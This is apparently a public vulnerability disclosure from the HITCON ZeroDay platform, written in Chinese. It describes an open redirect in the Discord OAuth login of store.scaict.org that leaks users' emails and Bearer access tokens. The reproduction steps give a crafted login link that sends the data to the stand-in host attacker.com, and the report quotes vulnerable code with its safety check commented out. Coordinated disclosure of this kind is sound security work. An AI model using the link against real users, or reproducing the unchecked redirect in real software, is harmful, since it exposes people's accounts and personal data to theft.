Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00304
- Vendor: 中部高中電資社團聯合會議
- Title: [Bounty] 中部高中電資社團聯合會議 Discord OAuth Open Redirect 導致使用者 Email 及 Access Token 洩漏
- Introduction: /login?redirurl= 參數未驗證,攻擊者可誘導受害者登入後將 Discord email 及 Bearer token 洩漏至外部網站
- 感謝函
處理狀態
目前狀態
公開
Last Update : 2026/07/22
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/02/28 17:33:29 : 新提交 (由 SIRIUS 更新此狀態)
- 2026/02/28 17:35:30 : 新提交 (由 SIRIUS 更新此狀態)
- 2026/03/02 11:08:10 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/21 09:25:14 : 修補中 (由 組織帳號 更新此狀態)
- 2026/07/22 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00304
- 通報者:Sirius_W (SIRIUS)
- 風險:中
- 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)
參考資料
攻擊者可利用該漏洞將受害者導向至惡意網站。
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://store.scaict.org/login
https://store.scaict.org/callback
https://github.com/scaict/SCAICT-uwu/blob/main/app.py
https://store.scaict.org/callback
https://github.com/scaict/SCAICT-uwu/blob/main/app.py
敘述
漏洞說明
store.scaict.org 的 Discord OAuth 登入流程中,/login 路由接受 redirurl 參數作為登入後的跳轉目標,並透過 OAuth state 傳遞至 /callback。
/callback 路由在完成 Discord OAuth 後,未對 state(即 redirurl)做任何網域驗證,直接將以下敏感資料以 GET 參數附加後跳轉:
username:使用者 Discord 帳號名稱user_id:Discord User IDemail:使用者真實電子郵件headers:含Authorization: Bearer <access_token>(Discord OAuth token)
重現步驟
- 攻擊者構造以下連結並傳給受害者:
https://store.scaict.org/login?redirurl=attacker.com/steal - 受害者點擊連結,進行正常的 Discord OAuth 授權
- 授權完成後,受害者被 redirect 至:
https://attacker.com/steal?username=xxx&user_id=123&[email protected]&headers=Authorization: Bearer eyJ... - 攻擊者的伺服器從 access log 取得完整個資及 token
影響
- 受害者 Discord email 外洩
- Discord OAuth Bearer Token 洩漏,攻擊者可用此 token 呼叫 Discord API 存取受害者帳號資訊
- 無需受害者互動即可完成攻擊(只需點一個看似正常的登入連結)
漏洞原始碼(GitHub 公開 repo)
https://github.com/scaict/SCAICT-uwu/blob/main/app.py
if redirurl: # and is_safe_url(redirurl): ← 驗證被註解掉了!
params = {
"username": user_data["username"],
"user_id": user_data["id"],
"email": user_data.get("email"),
"headers": headers, # ← 含 Bearer Token
}
return redirect(f"https://{redirurl}{separator}{urlencoded}")修補建議
1. 實作 redirurl 白名單驗證,只允許跳轉至 scaict.org 旗下網域
2. 移除 GET redirect 中的 email 和 headers 參數,敏感資料不應透過 URL 傳遞
3. 將原本被註解掉的 is_safe_url() 驗證補回並實作
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。